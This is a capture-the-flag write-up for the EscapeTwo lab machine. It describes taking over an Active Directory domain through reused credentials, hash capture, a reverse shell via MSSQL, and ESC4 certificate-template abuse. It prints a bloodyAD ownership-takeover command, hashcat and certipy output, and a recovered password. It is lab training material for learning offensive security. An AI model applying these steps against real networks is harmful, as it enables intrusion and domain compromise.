EscapeTwo — MSSQL Credential Reuse to AD CS ESC4
OS
Windows
Difficulty
Easy
Category
AD
Released
2025.01.11
Pulled cleartext passwords from a malformed XLSX share and a sql-Configuration.INI to land as ryan. Abused WriteOwner over ca_svc, shadow-credentialed its NT hash, then exploited a vulnerable ESC4 certificate template to mint an Administrator cert and pass-the-cert.
Want to try this box yourself?
Spoiler-free mode is on by default — every solution stays hidden behind a reveal. Peek the hints, attempt each step, then unlock the answer when you're stuck. Turn it off to read every solution inline.
Nmap
MSSQL Enumeration
Using rose's credentials, we can authenticate into MSSQL.
We can now use Impacket's mssqlclient to interact with the database.
After this, it is best to make the database access a share that does not exist on the attacker machine and catch an NTLMv2 hash using Responder.
Using this technique, we get a hash for the sql_svc account.
The hash is uncrackable, so this doesn't work.
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: SQL_SVC::SEQUEL:f8a93dffb731ea5b:ede1dda8934205387a...000000
Time.Started.....: Mon Dec 29 00:00:21 2025 (7 secs)
Time.Estimated...: Mon Dec 29 00:00:28 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 2285.2 kH/s (1.80ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !JR21* -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 83%
Started: Mon Dec 29 00:00:18 2025
Stopped: Mon Dec 29 00:00:29 2025
SMB Enumeration
Anonymous Login
We have anonymous login.
We cannot enumerate users with anonymous login.
We cannot enumerate shares with anonymous login.
Guest Login
The Guest account is disabled.
Enumeration with provided credentials
Using the credentials for rose provided with the box, we can enumerate users:
Cleaning user list:
We can also enumerate shares.
Accounting Department and Users are non-standard, so we enumerate them further using smbclient.
The Users share didn't have anything interesting.
The Accounting Department share had 2 files, and we downloaded both.
Trying to open accounts.xlsx does not work because Excel gives us an error about the file extension.

Let's enumerate this more.

Using the file command, we find out that the file is a zip file.

Looking around in the accounts file, we see a file with what seems to be passwords.

Cleaning up the XML file a bit using the following command:
All passwords except for sa@sequel.htb look like randomly generated strings, so that is the one we will look into.
We are able to use nxc mssql to authenticate.
We are not able to evil-winrm into the box with the credentials.
nxc mssql has a command execution feature.
We get command execution.
Using revshells and Claude, we find that we can use a base64-encoded payload one-liner to get a reverse shell.
We have a shell.
The shell is not stable, so after some research we find we need to use rlwrap to get a stable shell.
Looking at the users directory, we see a directory for ryan since the sql_svc directory doesn't have anything in it.
Looking at the root directory, we see a non-standard directory SQL2019.
Inside SQL2019, there is only one directory.
In the ExpressAdv_ENU directory, the file sql-Configuration.INI is the most interesting.
From the file, WqSZAF6CysDQbGb3 seems like a password and it isn't for any of the accounts in the XML file we found earlier.
Initial Foothold
Let's password spray and see if anybody reused the password.
The password works for both ryan and sql_svc.
Let's try to evil-winrm as ryan.
We get a shell.
Privilege Escalation
Using the BloodHound scan from before, we find that ryan has WriteOwner permissions over ca.

Looking at Hacker Recipes on how to abuse this, we get the following:
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set owner $TargetObject $ControlledPrincipal
We are now the new owner of ca_svc.
ca_svc is a member of the Cert Publishers group.

We can use certipy to enumerate this:
From the output we see:
"[*] Remarks": {
"ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself
. See the wiki for more details. Template has schema version 1.",
"ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself
. See the wiki for more details. Template has schema version 1."
}
}
We tried these, but it did not work since we forgot to give ryan full control of ca_svc.
Let's try it again.
It did not work, so we assume we need to enumerate the cert systems using the ca_svc account, and we can get the hash using shadow credentials.
Using the ca_svc account, we get a new ESC4 vulnerability.
Template Name : DunderMifflinAuthentication
Display Name : Dunder Mifflin Authentication
Certificate Authorities : sequel-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireDns
SubjectRequireCommonName
Enrollment Flag : PublishToDs
AutoEnrollment
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-12-29T19:57:28+00:00
Template Last Modified : 2025-12-29T19:57:28+00:00
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Enterprise Admins
Full Control Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Property Enroll : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
[+] User Enrollable Principals : SEQUEL.HTB\Cert Publishers
[+] User ACL Principals : SEQUEL.HTB\Cert Publishers
[!] Vulnerabilities
ESC4 : User has dangerous permissions.
The first step is to modify the template:
Now we need to find the UPN and SID:
Now we need to request a certificate using the modified template:
Authenticate using the obtained certificate.
We get the hash.
We get a shell.


